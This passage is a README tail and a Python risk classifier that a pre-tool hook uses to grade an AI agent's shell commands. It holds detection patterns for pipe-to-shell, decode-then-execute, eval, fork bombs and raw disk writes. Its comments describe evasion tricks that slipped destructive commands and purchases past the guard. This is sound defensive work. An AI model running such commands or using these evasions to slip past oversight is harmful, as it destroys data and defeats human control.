- - **AI-maintained, human-governed, in public.** Day-to-day maintenance is done by an AI agent under the human-held charter in [MAINTAINER.md](MAINTAINER.md), whose five invariants (above) the maintainer cannot change. Material changes and design decisions are recorded in the [maintainer log](docs/maintainer-log.md).
- ## Contributing and license
- Issues and PRs are welcome on [github.com/ucsandman/DashClaw](https://github.com/ucsandman/DashClaw). If DashClaw caught something on one of your runs, a GitHub star is the honest signal that the wedge is real.
- [MIT](LICENSE)
- <div align="center">
- <br />
- <sub>Built by <a href="https://practicalsystems.io">Practical Systems</a></sub>
- </div>
- ## Support
- If my tools save you time, you can support my work here:
- [](https://github.com/sponsors/ucsandman)
- [](https://buymeacoffee.com/wes_sander)
plugins/dashclaw/hooks/dashclaw_agent_intel/bash_classifier.py · Bundled script · 1,066 lines · 1 finding marked
- """Bash intent classifier for dashclaw-agent-intel.
- Classifies shell commands by intent, risk, and reversibility using
- six validation submodules run as a pipeline.
- Uses only the Python standard library + the sibling command_parser module.
- """
- import re
- from typing import Optional
- from dashclaw_agent_intel.command_parser import parse_command, split_chain_texts
- from dashclaw_agent_intel.file_scanner import is_placeholder_path
- # ---------------------------------------------------------------------------
- # Intent lookup tables
- # ---------------------------------------------------------------------------
- READONLY_COMMANDS = frozenset({
- "cat", "head", "tail", "less", "more", "wc", "file", "stat", "du", "df",
- "ls", "tree", "find", "locate", "which", "whereis", "type",
- "grep", "rg", "awk", "cut", "sort", "uniq", "diff", "comm",
- "echo", "printf", "date", "uname", "whoami", "pwd", "hostname",
- "ps", "top", "htop", "free", "uptime", "env", "printenv",
- "man", "help", "info",
- "sha256sum", "md5sum", "sha1sum", "cksum", "b2sum",
- "base64", "od", "xxd", "hexdump",
- "id", "groups", "lsof", "readlink", "realpath", "basename", "dirname",
- "test", "[", "true", "false", "seq", "yes", "tee",
- "xargs", "tr", "column", "fold", "expand", "unexpand",
- "sed", # sed without -i is readonly (stdout only); sed_validation handles -i
- "cd", # pure navigation; chain segments after it are classified on their own
- })
- GIT_READONLY_SUBCOMMANDS = frozenset({
- "status", "log", "diff", "show", "branch", "tag", "remote",
- "stash", "describe", "rev-parse", "rev-list", "blame",
- "ls-files", "ls-tree", "config", "reflog", "shortlog",
- "whatchanged", "name-rev", "verify-commit", "verify-tag",
- })
- GIT_WRITE_SUBCOMMANDS = frozenset({
- "add", "commit", "merge", "cherry-pick", "checkout", "switch",
- "restore", "mv", "rm", "rebase", "pull", "fetch", "stash",
- "push", # push is write normally; destructive with --force
- })
- GIT_DESTRUCTIVE_SUBCOMMANDS = frozenset({
- "clean", # clean -f
- "reset", # reset --hard
- })
- WRITE_COMMANDS = frozenset({
- "cp", "mv", "mkdir", "touch", "chmod", "chown", "chgrp", "ln",
- "tee", "install", "patch", "rename",
- })
- DESTRUCTIVE_COMMANDS = frozenset({
- "rm", "rmdir", "shred", "mkfs", "fdisk", "dd", "truncate",
- })
- NETWORK_COMMANDS = frozenset({
- "curl", "wget", "ssh", "scp", "rsync", "ping", "traceroute",
- "dig", "nslookup", "host", "nc", "netcat", "telnet", "ftp", "sftp",
- })
- PROCESS_COMMANDS = frozenset({
- "kill", "killall", "pkill", "nohup", "bg", "fg", "crontab",
- "disown", "wait", "jobs",
- })
- PACKAGE_COMMANDS = frozenset({
- "npm", "yarn", "pnpm", "pip", "pip3", "pipx",
- "cargo", "go", "gem", "bundle",
- "brew", "apt", "apt-get", "dnf", "yum", "pacman", "snap", "flatpak",
- "composer", "dotnet", "nuget",
- })
- # Language interpreters / script runners. Without this category they fall
- # through to "unknown", and the pretool hook replaces the classifier score
- # with the Bash tool's blunt base risk (70 = RISK_HIGH_MIN) — so `node -e`
- # was blocked by fallback, not by analysis.
- INTERPRETER_COMMANDS = frozenset({
- "node", "nodejs", "python", "python2", "python3",
- "ruby", "perl", "php", "deno", "bun", "tsx", "ts-node",
- "npx", # runs a package binary; auto-install flags warn (interpreter validation)
- })
- # Per-interpreter inline-eval flags. Flag meanings collide across
- # interpreters (python -E ignores env vars; perl -E is eval with features),
- # so each base command gets its own set rather than one shared list.
- _INLINE_EVAL_FLAGS = {
- "node": frozenset({"-e", "--eval", "-p", "--print"}),
- "nodejs": frozenset({"-e", "--eval", "-p", "--print"}),
- "bun": frozenset({"-e", "--eval", "-p", "--print"}),
- "tsx": frozenset({"-e", "--eval", "-p", "--print"}),
- "ts-node": frozenset({"-e", "--eval", "-p", "--print"}),
- "deno": frozenset({"--eval"}),
- "python": frozenset({"-c"}),
- "python2": frozenset({"-c"}),
- "python3": frozenset({"-c"}),
- "ruby": frozenset({"-e"}),
- "perl": frozenset({"-e", "-E"}),
- "php": frozenset({"-r"}),
- }
- # Escape hatches inside an inline-eval payload: spawning processes, deleting
- # files, or shelling out from within the one-liner. These warrant an extra
- # warn on top of the inline-eval warn — still below the block band; the
- # server-side guard sees the full command and can escalate further.
- _INLINE_ESCAPE_HATCH_RE = re.compile(
- r"child_process|subprocess|os\.system|execSync|spawnSync"
- r"|fs\.(?:rm|unlink|rmdir)|rmtree|rm\s+-rf|shutil",
- re.IGNORECASE,
- )
- # F2 (governance gap audit 2026-08-05): `find` with a delete predicate is a
- # mass delete wearing a read-only command's name.
- _FIND_DELETE_RE = re.compile(r"\s-delete\b|\s-exec\s+\S*(rm|shred)\b", re.IGNORECASE)
- # Obfuscated command construction (evasion audit 2026-08-08): a decode-then-
- # execute pipe (base64/hex/openssl output piped straight into a shell or
- # interpreter) runs a command the classifier never sees as text. Paired with
- # the `eval` base-command check, this closes the base64+eval evasion that slid
- # a destructive delete past the guard. `eval` itself is matched by base name,
- # not here, because the parser identifies it reliably.
- _DECODE_EXEC_RE = re.compile(
- r"(?:base64\s+(?:-d|-D|--decode)|xxd\s+-r|openssl\s+enc\b[^|]*?-d)\b"
- r"[^|]*\|\s*(?:sh|bash|zsh|dash|ksh|eval|python\d?|perl|ruby|node)\b",
- re.IGNORECASE,
- )
- # Pipe into a BARE shell (round-2 audit, 2026-08-08): `curl … | sh`,
- # `echo "<cmd>" | bash`, `printf … | zsh`. The shell reads its program from
- # stdin, so the real command is invisible to the classifier regardless of the
- # upstream producer — this generalizes _DECODE_EXEC_RE beyond the three
- # decoders. The negative lookahead exempts a named script file (`… | bash
- # deploy.sh`), which is an ordinary invocation, not stdin execution.
- _PIPE_TO_SHELL_RE = re.compile(
- r"\|\s*(?:sh|bash|zsh|dash|ksh)\b(?!(?:\s+-[A-Za-z]+)*\s+[^\s|;&]*\.[A-Za-z])",
- re.IGNORECASE,
- )
- # A shell running an inline command string: `sh -c '<cmd>'`, `bash -lc '<cmd>'`.
- # `-c` (in any combined short-flag form, or `--command`) means the program is a
- # string argument the per-token classifier never inspects — same invisible-
- # execution class as eval (round-2 audit, 2026-08-08).
- _SHELL_DASH_C_RE = re.compile(
- r"\b(?:sh|bash|zsh|dash|ksh)\s+(?:-[A-Za-z]*c[A-Za-z]*|--command)\b",
- re.IGNORECASE,
- )
- # Leading assignment keyword (`export F=-rf`, `declare X=…`) — stripped before
- # the static-assignment match so the value still resolves (round-2 audit).
- _ASSIGNMENT_PREFIX_RE = re.compile(r"^(?:export|declare|local|readonly)\s+")
- # Spend detection (2026-09-04 incident): a session bought two domains with
- # `node tmp/tradesdesk-launch/domain-buy.mjs truckside.io`. The classifier
- # graded that "interpreter" (base 35) and the server graded the command TEXT
- # other/30 — neither route ever reached the org's spend policy, because the
- # money moved inside the script, not in the command line. `_SPEND_URL_RE`
- # matches a purchase URL appearing anywhere in the command text (the request
- # a script or a raw curl is about to make); `_SPEND_CLI_RE` matches a
- # purchase-shaped CLI invocation in command position. The `/registrar/`
- # branch excludes lookup-only endpoints (…/availability, …/price, …/status)
- # via a lookahead on the remainder of that URL, not by consuming and
- # backtracking over the whole path — consuming greedily would let the engine
- # find an alternate, shorter parse that dodges the exclusion.
- _SPEND_URL_RE = re.compile(
- r"https?://[^\s\"']*/registrar/(?![^\s\"']*(?:availability|price|status)(?:[\s\"']|$))"
- r"|https?://[^\s\"']*/domains?/[^/\s\"']+/(?:buy|transfer-in|renew)\b"
- r"|https?://[^\s\"']*/v1/(?:charges|payment_intents|checkout/sessions|subscriptions|setup_intents)\b"
- r"|https?://[^\s\"']*/invoices/[^/\s\"']+/pay\b"
- r"|https?://(?:[a-z0-9-]+\.)*paypal\.com(?::\d+)?/[^\s\"']*/v[12]/(?:checkout/orders|payments)\b",
- re.IGNORECASE,
- )
- # Generic purchase / credit top-up path segments. On their own these match any
- # host — `git clone .../checkout` or a docs page mentioning `/checkout` is not
- # a purchase — so a hit only counts when the URL also looks like an API or a
- # payment surface: an `/api/` or `/v<digits>/` segment ahead of the purchase
- # segment, or a hostname whose first label names a payment/commerce surface.
- _SPEND_GENERIC_URL_RE = re.compile(
- r"https?://(?:api|checkout|pay|payments|billing|commerce|shop|store|secure)\.[^\s\"']*"
- r"/(?:purchase|purchases|checkout|top-up|topup|buy-credits|buy_credits)(?:[/\s\"']|$)"
- r"|https?://[^\s\"']*/(?:api|v\d+)(?:/[^\s\"'?#/]*)*"
- r"/(?:purchase|purchases|checkout|top-up|topup|buy-credits|buy_credits)(?:[/\s\"']|$)",
- re.IGNORECASE,
- )
- _SPEND_CLI_RE = re.compile(
- r"^\s*vercel\s+domains?\s+(?:buy|transfer-in)\b"
- r"|^\s*stripe\s+(?:charges|payment_intents|subscriptions)\s+create\b"
- r"|^\s*stripe\s+checkout\s+sessions\s+create\b"
- r"|^\s*agentcash\s+pay\b"
- r"|^\s*gcloud\s+billing\b"
- r"|^\s*aws\s+\S+\s+purchase-\S+"
- r"|^\s*namecheap\b.*\bdomains\.create\b",
- re.IGNORECASE,
- )
- def _is_obfuscated_exec(base_name: str, raw_command: str) -> bool:
- """True when the command runs a program the per-token classifier can't
- see: `eval`, a decode-to-shell pipe, a bare pipe into a shell, or a shell
- `-c '<string>'`. In every case the real command is invisible, so the effect
- is unverifiable and must inherit the worst-case (block) path."""
- return (
- base_name == "eval"
- or bool(_DECODE_EXEC_RE.search(raw_command))
- or bool(_PIPE_TO_SHELL_RE.search(raw_command))
- or bool(_SHELL_DASH_C_RE.search(raw_command))
- )
- # A chain segment that is ONLY a `VAR=value` assignment. Used to resolve
- # statically-known assignments into later segments so `F=-rf; rm $F x` grades
- # as `rm -rf x` — the flag-in-a-variable evasion (audit 2026-08-08). Only
- # literal values are ever substituted; a dynamic value ($, `, $( ) is left
- # unresolved and the segment is graded as-is (we never execute or guess).
- _STATIC_ASSIGNMENT_RE = re.compile(r"^([A-Za-z_][A-Za-z0-9_]*)=(.*)$")
- # Raw block devices (Linux sd/hd/nvme/mmcblk/vd/xvd, macOS disk, Windows
- # PhysicalDrive) reached via output redirect or dd's of= — destroys a disk
- # without naming a single file (F2).
- _RAW_DEVICE_WRITE_RE = re.compile(
- r"(>\s*|\bof=)[\"']?(/dev/(sd[a-z]|hd[a-z]|nvme\d+n?\d*(p\d+)?|disk\d+|mmcblk\d+|vd[a-z]|xvd[a-z])\b"
- r"|\\\\\.\\physicaldrive\d+)",
- re.IGNORECASE,
- )
- # PowerShell cmdlets follow Verb-Noun; the approved verb carries the intent.
- # The pretool hook routes the PowerShell tool through this classifier the same
- # way it routes Bash — before that, every cmdlet fell through to "unknown" and
- # the hook's blunt execution base (70) blocked benign reads (2026-07-02
- # incident: `Get-Content docs/... -Tail 40` scored 100 and was policy-blocked).
- _PS_CMDLET_RE = re.compile(r"^[A-Za-z]+-[A-Za-z][A-Za-z0-9]*$")
- # Cmdlets whose noun, not verb, decides the intent — checked before the verb map.
- _PS_SPECIAL_CMDLETS = {
- "invoke-webrequest": "network",
- "invoke-restmethod": "network",
- "test-connection": "network",
- "test-netconnection": "network",
- # A pause has no side effects at all. The verb map's start→
- # process_management (right for Start-Process/Start-Service) made
- # `Start-Sleep 90` the highest-intent segment of a compound command,
- # which mapped to action_type security (server base 80) and detonated a
- # 100-block on a routine push-then-wait pipeline (2026-08-06, the
- # post-enforce-flip false-positive family).
- "start-sleep": "readonly",
- }
- _PS_VERB_INTENTS = {
- # observation / filtering / shaping — no side effects
- "get": "readonly", "select": "readonly", "measure": "readonly",
- "test": "readonly", "compare": "readonly", "format": "readonly",
- "sort": "readonly", "group": "readonly", "resolve": "readonly",
- "convertto": "readonly", "convertfrom": "readonly",
- "split": "readonly", "join": "readonly", "where": "readonly",
- "show": "readonly", "find": "readonly", "search": "readonly",
- # mutation
- "set": "write", "new": "write", "add": "write", "copy": "write",
- "move": "write", "rename": "write", "write": "write", "out": "write",
- "export": "write", "import": "write", "update": "write",
- "register": "write", "unregister": "write", "publish": "write",
- # destructive / lifecycle
- "remove": "destructive", "clear": "destructive",
- "uninstall": "destructive", "reset": "destructive", "revoke": "destructive",
- "stop": "process_management", "start": "process_management",
- "restart": "process_management", "suspend": "process_management",
- "resume": "process_management", "wait": "process_management",
- "install": "package_management",
- # arbitrary code execution / session escalation
- "invoke": "interpreter",
- "enter": "system_admin", "enable": "system_admin", "disable": "system_admin",
- }
- def _classify_powershell(base_name: str) -> Optional[str]:
- """Intent for a PowerShell Verb-Noun cmdlet, or None if not cmdlet-shaped
- (or the verb is unrecognized — those keep the conservative unknown path).
- Bash hyphenated commands (apt-get, systemd-*) never reach here: their
- category frozensets are checked first, and unmapped verbs return None."""
- lowered = base_name.lower()
- special = _PS_SPECIAL_CMDLETS.get(lowered)
- if special:
- return special
- if not _PS_CMDLET_RE.match(base_name):
- return None
- verb = lowered.split("-", 1)[0]
- return _PS_VERB_INTENTS.get(verb)
- SYSTEM_ADMIN_COMMANDS = frozenset({
- "systemctl", "service", "journalctl",
- "useradd", "userdel", "usermod", "groupadd", "groupdel",
- "iptables", "ip6tables", "ufw", "firewall-cmd",
- "mount", "umount",
- "reboot", "shutdown", "poweroff", "halt", "init",
- "modprobe", "insmod", "rmmod",
- "sysctl", "ldconfig",
- })
- # System paths that workspace_write mode should warn about.
- SYSTEM_PATHS = (
- "/etc/", "/usr/", "/var/", "/boot/", "/sys/", "/proc/",
- "/sbin/", "/lib/", "/lib64/", "/opt/",
- "/etc", "/usr", "/var", "/boot", "/sys", "/proc",
- "/sbin", "/lib", "/lib64", "/opt",
- )
- # Sensitive file patterns that boost risk.
- SENSITIVE_PATTERNS = re.compile(
- r"(?:\.env|secret|credential|private_key|\.pem|id_rsa|\.key)",
- re.IGNORECASE,
- )
- # Fork bomb patterns.
- _FORK_BOMB_RE = re.compile(r":\(\)\s*\{.*\}|/dev/null.*&\s*\|.*&|fork\s*bomb", re.IGNORECASE)
- # Base risk scores by intent.
- _RISK_BASE = {
- "readonly": 5,
- "write": 35,
- "destructive": 90,
- "network": 40,
- "process_management": 50,
- "package_management": 30,
- "system_admin": 75,
- "interpreter": 35, # running a script file is routine; inline eval warns on top
- "unknown": 20,
- "spend": 75,
- }
- # A bounded rm (non-recursive, explicit non-glob targets) is irreversible but
- # routine — deleting one named file is everyday agent work, not `rm -rf`.
- # The full destructive base (90) pushed every single-file delete into block
- # territory while the policy engine, given honest context, allowed it.
- _BOUNDED_RM_BASE = 55
- _BOUNDED_RM_MAX_TARGETS = 3
- _GLOB_CHARS = "*?["
- # Recursive deletes of well-known regenerable build artifacts are routine
- # maintenance — the tool that made them remakes them. The 2026-07-03 hard
- # block of `rm -rf .next` at 100 interrupted a Turbopack-panic remediation
- # for zero protective value (calibration vector rm-rf-next-build-cache).
- # Names are deliberately conservative: dot-dirs and unambiguous outputs only
- # (no `build`/`out`/`target` — too often real content).
- _REGENERABLE_RM_BASE = 35
- _REGENERABLE_ARTIFACT_DIRS = frozenset({
- ".next", ".turbo", ".cache", ".parcel-cache", "dist", "coverage",
- "node_modules", "__pycache__", ".pytest_cache", ".nuxt", ".svelte-kit",
- })
- # Directories the OPERATING SYSTEM designates as scratch. Anything strictly
- # inside one is disposable by construction — the OS itself may clear it on
- # reboot — so a recursive delete there is routine maintenance, not a
- # catastrophe. Added 2026-08-11 from live evidence: the frontend-verify skill's
- # `rm -rf <temp>/scratchpad/e2e-out` graded security/100 and was hand-approved
- # four times in one evening from a phone.
- # Each entry starts and ends with '/', so a plain substring search already
- # enforces path boundaries: '/nottmp/x' cannot match '/tmp/'.
- _OS_SCRATCH_ROOTS = ("/tmp/", "/var/tmp/", "/private/tmp/", "/appdata/local/temp/")
- def _is_os_scratch_path(target: str) -> bool:
- """True for a path STRICTLY INSIDE an OS scratch root.
- Something must remain after the root, so `rm -rf /tmp` itself still grades
- destructive. `..` is rejected outright: without that, `/tmp/../etc` would
- inherit the scratch grade.
- """
- t = target.replace("\\", "/").rstrip("/")
- if not t or ".." in t.split("/"):
- return False
- low = t.lower()
- # Only an ABSOLUTE path can be OS scratch. A project-relative `tmp/build`
- # is ordinary repo content and must keep the destructive grade.
- if not low.startswith("/"):
- if not re.match(r"^[a-z]:/", low):
- return False
- low = "/" + low # drive-qualified: give the search a leading boundary
- return any(
- (idx := low.find(root)) != -1 and len(low) > idx + len(root)
- for root in _OS_SCRATCH_ROOTS
- )
- def _is_regenerable_dir_name(target: str) -> bool:
- """True for a regenerable artifact root OR any path beneath one.
- Bare-name matching made a strict subset score higher than its superset:
- `rm -rf node_modules` graded 35 (cleanup) while `rm -rf node_modules/.cache`
- missed the allowlist, fell through to `security` (base 80) and clamped to
- 100 (2026-08-11 calibration probe). Deleting part of a regenerable
- directory cannot be more dangerous than deleting all of it.
- Absolute, home-relative, drive-qualified and `..`-traversing paths are now
- rejected EXPLICITLY. They were previously excluded only as a side effect of
- requiring a bare name, and that guarantee disappears once subtrees match.
- """
- # OS scratch roots are the one absolute-path exception, and they are safe
- # for the same reason the named dirs are: the content is disposable by
- # construction. Checked first because the guards below reject absolutes.
- if _is_os_scratch_path(target):
- return True
- t = target.replace("\\", "/").rstrip("/")
- if t.startswith("./"):
- t = t[2:]
- if not t or t.startswith("/") or t.startswith("~"):
- return False
- if re.match(r"^[a-zA-Z]:", t):
- return False
- parts = t.split("/")
- if ".." in parts:
- return False
- return parts[0] in _REGENERABLE_ARTIFACT_DIRS
- def is_regenerable_artifact_rm(parsed: dict) -> bool:
- """True for an rm / rmdir / Remove-Item (recursive or not) whose EVERY
- target is a relative, well-known regenerable build-artifact directory —
- the root itself or anything beneath it. Any glob, absolute path, parent
- traversal, or unknown root disqualifies the whole command."""
- base = (parsed.get("base_command") or "").rsplit("/", 1)[-1].lower()
- if base not in ("rm", "rmdir", "remove-item"):
- return False
- targets = parsed.get("targets", [])
- if not targets:
- return False
- return all(
- not any(ch in t for ch in _GLOB_CHARS) and _is_regenerable_dir_name(t)
- for t in targets
- )
- def is_bounded_rm(parsed: dict) -> bool:
- """True for a non-recursive rm / Remove-Item with a few explicit,
- non-glob targets. Remove-Item gets its own recursion test: PowerShell
- recursion is the `-Recurse` switch, and the bash single-dash heuristic
- ("-r anywhere in the flag") would misread `-Force` as recursive."""
- base = (parsed.get("base_command") or "").rsplit("/", 1)[-1]
- flags = parsed.get("flags", [])
- if base == "rm":
- recursive = "--recursive" in flags or any(
- f.startswith("-") and not f.startswith("--") and "r" in f.lower() for f in flags
- )
- elif base == "rmdir":
- # coreutils rmdir only ever removes EMPTY directories (-p just prunes
- # empty parents) — strictly safer than a bounded rm. The one recursive
- # spelling is Windows cmd's `rmdir /s`; treat that as unbounded.
- recursive = any(f.lower() == "/s" for f in flags)
- elif base.lower() == "remove-item":
- # `-Recurse:$false` is an EXPLICIT non-recursive switch — the prefix
- # test alone misread it as recursion (2026-07-02 wrong self-block).
- recursive = any(
- f.lower().startswith("-rec") and not f.lower().endswith(":$false")
- for f in flags
- )
- else:
- return False
- if recursive:
- return False
- targets = parsed.get("targets", [])
- if not targets or len(targets) > _BOUNDED_RM_MAX_TARGETS:
- return False
- return not any(ch in t for t in targets for ch in _GLOB_CHARS)
- # ---------------------------------------------------------------------------
- # Intent classification
- # ---------------------------------------------------------------------------
- def _strip_quotes(value: str) -> str:
- """Strip one matching pair of surrounding single/double quotes."""
- if len(value) >= 2 and value[0] == value[-1] and value[0] in "\"'":
- return value[1:-1]
- return value
- def _resolve_static_chain_vars(segment_texts: list[str]) -> list[str]:
- """Substitute earlier literal `VAR=value` assignments into later chain
- segments, so `F=-rf; rm $F x` grades as `rm -rf x` and the hidden flags
- are visible to the destructive-command checks (evasion audit 2026-08-08).
- Only assignments whose value is a static literal are resolved: a value
- containing `$`, a backtick, or `$(` is dynamic and left as a variable, so
- nothing is ever executed or guessed. A segment with no known variables is
- returned unchanged, so this is a no-op for ordinary chains."""
- known: dict[str, str] = {}
- resolved: list[str] = []
- for text in segment_texts:
- subbed = text
- for name, value in known.items():
- subbed = re.sub(
- r"\$\{" + name + r"\}|\$" + name + r"(?![A-Za-z0-9_])",
- lambda _m, v=value: v,
- subbed,
- )
- resolved.append(subbed)
- # A leading `export`/`declare`/`local`/`readonly` still sets the value,
- # so strip it before matching the assignment (round-2 evasion audit).
- assignment = _ASSIGNMENT_PREFIX_RE.sub("", subbed.strip())
- m = _STATIC_ASSIGNMENT_RE.match(assignment)
- if m:
- raw_val = m.group(2).strip()
- if "$" not in raw_val and "`" not in raw_val:
- known[m.group(1)] = _strip_quotes(raw_val)
- return resolved
- def _classify_git(parsed: dict) -> str:
- """Classify a git command by its subcommand and flags."""
- sub = parsed.get("subcommand") or ""
- flags = parsed.get("flags", [])
- # Destructive git subcommands.
- if sub == "reset" and "--hard" in flags:
- return "destructive"
- if sub == "clean" and any(f.startswith("-") and "f" in f for f in flags):
- return "destructive"
- if sub == "push" and any(f in ("--force", "-f", "--force-with-lease") for f in flags):
- return "destructive"
- if sub in GIT_DESTRUCTIVE_SUBCOMMANDS:
- # Without the dangerous flags, still treat as write.
- return "write"
- if sub in GIT_READONLY_SUBCOMMANDS:
- return "readonly"
- if sub in GIT_WRITE_SUBCOMMANDS:
- return "write"
- # Unknown git subcommand -> write (safe default).
- return "write"
- def _classify_intent(parsed: dict, raw_command: str) -> str:
- """Determine the intent category for a parsed command."""
- base = parsed.get("base_command", "")
- if not base:
- return "unknown"
- # Strip path prefix if present (e.g. /usr/bin/rm -> rm).
- base_name = base.rsplit("/", 1)[-1]
- # Check for sudo wrapper early — used for escalation decisions.
- wrapper = parsed.get("wrapper")
- # Obfuscated command construction: `eval`, a decode-then-shell pipe, a bare
- # pipe into a shell, or `sh -c '<string>'` all run a command invisible to
- # this classifier. Grade as destructive (worst case): the effect is
- # unverifiable, so it inherits the same block path as an unbounded rm rather
- # than the low `unknown`/`network` base that let these slip past the guard
- # (evasion audits 2026-08-08, rounds 1 and 2).
- if _is_obfuscated_exec(base_name, raw_command):
- return "destructive"
- # Handle mkfs variants (mkfs.ext4, mkfs.xfs, etc.).
- if base_name.startswith("mkfs"):
- return "destructive"
- # find with -delete / -exec rm is a mass delete, not a read-only lookup (F2).
- if base_name == "find" and _FIND_DELETE_RE.search(raw_command):
- return "destructive"
- # Spend: the command TEXT names a purchase endpoint or a purchase-shaped
- # CLI call (2026-09-04 incident). A read-only inspection of the same URL
- # (`echo`/`cat`/`grep` of a link) is exempt — only a command whose base is
- # NOT already a known-safe reader counts as spending money.
- if _SPEND_CLI_RE.search(raw_command) or (
- (_SPEND_URL_RE.search(raw_command) or _SPEND_GENERIC_URL_RE.search(raw_command))
- and base_name not in READONLY_COMMANDS
- ):
- return "spend"
- # Git has special subcommand-level classification.
- if base_name == "git":
- return _classify_git(parsed)
- # Package managers: sudo + package manager = system_admin.
- if base_name in PACKAGE_COMMANDS:
- if wrapper == "sudo":
- return "system_admin"
- return "package_management"
- # Interpreters: sudo + interpreter = system_admin (root code execution).
- if base_name in INTERPRETER_COMMANDS:
- if wrapper == "sudo":
- return "system_admin"
- return "interpreter"
- # Walk through categories in priority order.
- if base_name in DESTRUCTIVE_COMMANDS:
- return "destructive"
- if base_name in SYSTEM_ADMIN_COMMANDS:
- return "system_admin"
- if base_name in PROCESS_COMMANDS:
- return "process_management"
- if base_name in NETWORK_COMMANDS:
- return "network"
- if base_name in WRITE_COMMANDS:
- return "write"
- if base_name in READONLY_COMMANDS:
- return "readonly"
- ps_intent = _classify_powershell(base_name)
- if ps_intent is not None:
- return ps_intent
- if wrapper == "sudo":
- return "system_admin"
- return "unknown"
- # ---------------------------------------------------------------------------
- # Validation submodules (pipeline)
- # ---------------------------------------------------------------------------
- def _run_read_only_validation(
- parsed: dict, intent: str, mode: str, raw_command: str,
- ) -> Optional[dict]:
- """Submodule 1: In readonly mode, block write/destructive/process/system/package
- commands and redirections. Allow safe readonly commands."""
- if mode != "readonly":
- return None
- base = (parsed.get("base_command") or "").rsplit("/", 1)[-1]
- redirections = parsed.get("redirections", [])
- # Block redirections that write to files.
- if redirections:
- return {
- "check": "read_only_validation",
- "result": "block",
- "reason": f"file redirection in readonly mode",
- }
- # Block non-readonly intents. Interpreters can write files and spawn
- # processes, so they are not readonly-safe.
- if intent in ("write", "destructive", "process_management", "system_admin", "package_management", "interpreter"):
- return {
- "check": "read_only_validation",
- "result": "block",
- "reason": f"{intent} command not allowed in readonly mode",
- }
- return {
- "check": "read_only_validation",
- "result": "allow",
- "reason": "command is safe in readonly mode",
- }
- def _run_destructive_command_validation(
- parsed: dict, intent: str, raw_command: str,
- ) -> Optional[dict]:
- """Submodule 2: Detect catastrophic destructive commands."""
- base = (parsed.get("base_command") or "").rsplit("/", 1)[-1]
- flags = parsed.get("flags", [])
- targets = parsed.get("targets", [])
- # Obfuscated command execution — block outright. `eval`, a decode-to-shell
- # pipe, a bare pipe into a shell (`curl … | sh`), and `sh -c '<string>'` all
- # execute commands this classifier never sees as text, defeating every check
- # below; blocking the construct is the only reliable guard (evasion audits
- # 2026-08-08, rounds 1 and 2). Legitimate uses (`eval "$(ssh-agent -s)"`,
- # a vetted install script) are surfaced for one-click approval, not silently
- # allowed — the correct posture for a control plane.
- if _is_obfuscated_exec(base, raw_command):
- return {
- "check": "destructive_command",
- "result": "block",
- "reason": "obfuscated command execution (eval / pipe-to-shell / sh -c)",
- }
- # Fork bomb detection.
- if _FORK_BOMB_RE.search(raw_command):
- return {
- "check": "destructive_command",
- "result": "block",
- "reason": "fork bomb detected",
- }
- # SQL injection patterns.
- if re.search(r"DROP\s+TABLE", raw_command, re.IGNORECASE):
- return {
- "check": "destructive_command",
- "result": "block",
- "reason": "DROP TABLE detected",
- }
- # Write to a raw block device (redirect or dd of=) — always block (F2).
- if _RAW_DEVICE_WRITE_RE.search(raw_command):
- return {
- "check": "destructive_command",
- "result": "block",
- "reason": "write to raw block device",
- }
- # mkfs — always block.
- if base.startswith("mkfs"):
- return {
- "check": "destructive_command",
- "result": "block",
- "reason": f"filesystem format command: {base}",
- }
- # dd with of= — always block.
- if base == "dd":
- of_targets = [t for t in targets if t.startswith("of=")]
- if of_targets or any("of=" in f for f in flags):
- return {
- "check": "destructive_command",
- "result": "block",
- "reason": "dd with output file is destructive",
- }
- # dd without of= in targets — check raw command.
- if "of=" in raw_command:
- return {
- "check": "destructive_command",
- "result": "block",
- "reason": "dd with output file is destructive",
- }
- # rm — graded: root targets block, recursive/glob/multi-target warns,
- # a bounded single-file delete is routine and passes.
- if base == "rm":
- recursive = "--recursive" in flags or any(
- f.startswith("-") and not f.startswith("--") and "r" in f.lower() for f in flags
- )
- if recursive:
- # Check for root targets.
- for t in targets:
- if t in ("/", "/*", "/.", "/.."):
- return {
- "check": "destructive_command",
- "result": "block",
- "reason": "recursive rm with root target",
- }
- # Non-root recursive rm — warn.
- return {
- "check": "destructive_command",
- "result": "warn",
- "reason": "rm -rf on non-root path",
- }
- if is_bounded_rm(parsed):
- return {
- "check": "destructive_command",
- "result": "allow",
- "reason": "bounded non-recursive rm (explicit targets)",
- }
- # Non-recursive but unbounded (globs / many targets / no targets) — warn.
- return {
- "check": "destructive_command",
- "result": "warn",
- "reason": "rm command detected",
- }
- if intent == "destructive":
- return {
- "check": "destructive_command",
- "result": "warn",
- "reason": f"destructive command: {base}",
- }
- return None
- def _run_mode_validation(
- parsed: dict, intent: str, mode: str, workspace: Optional[str],
- ) -> Optional[dict]:
- """Submodule 3: In workspace_write mode, warn when commands target system paths."""
- if mode != "workspace_write":
- return None
- targets = parsed.get("targets", [])
- redirections = parsed.get("redirections", [])
- all_paths = list(targets) + [r.get("target", "") for r in redirections]
- for path in all_paths:
- for sys_path in SYSTEM_PATHS:
- if path.startswith(sys_path):
- return {
- "check": "mode_validation",
- "result": "warn",
- "reason": f"target '{path}' is a system path",
- }
- return None
- def _run_sed_validation(
- parsed: dict, mode: str,
- ) -> Optional[dict]:
- """Submodule 4: Handle sed -i specifically."""
- base = (parsed.get("base_command") or "").rsplit("/", 1)[-1]
- if base != "sed":
- return None
- flags = parsed.get("flags", [])
- has_inplace = any(f == "-i" or f.startswith("-i") for f in flags)
- if has_inplace:
- if mode == "readonly":
- return {
- "check": "sed_validation",
- "result": "block",
- "reason": "sed -i (in-place edit) blocked in readonly mode",
- }
- return {
- "check": "sed_validation",
- "result": "warn",
- "reason": "sed -i modifies files in place",
- }
- # sed without -i is stdout-only.
- return {
- "check": "sed_validation",
- "result": "allow",
- "reason": "sed without -i outputs to stdout only",
- }
- def _run_interpreter_validation(
- parsed: dict, intent: str, raw_command: str,
- ) -> Optional[dict]:
- """Submodule: grade interpreter invocations.
- Inline eval (`node -e`, `python -c`, `deno eval`, ...) is arbitrary code
- execution and warns; running a named script file is routine and allows.
- An inline payload that spawns processes or deletes files warns harder
- (extra +10 via the escape-hatch check in _compute_risk).
- """
- if intent != "interpreter":
- return None
- base = (parsed.get("base_command") or "").rsplit("/", 1)[-1]
- flags = parsed.get("flags", [])
- targets = parsed.get("targets", [])
- # npx runs a package binary: routine for project devDependencies, but the
- # auto-install flags fetch and execute straight from the registry.
- if base == "npx":
- if any(f in ("-y", "--yes", "-p", "--package") for f in flags):
- return {
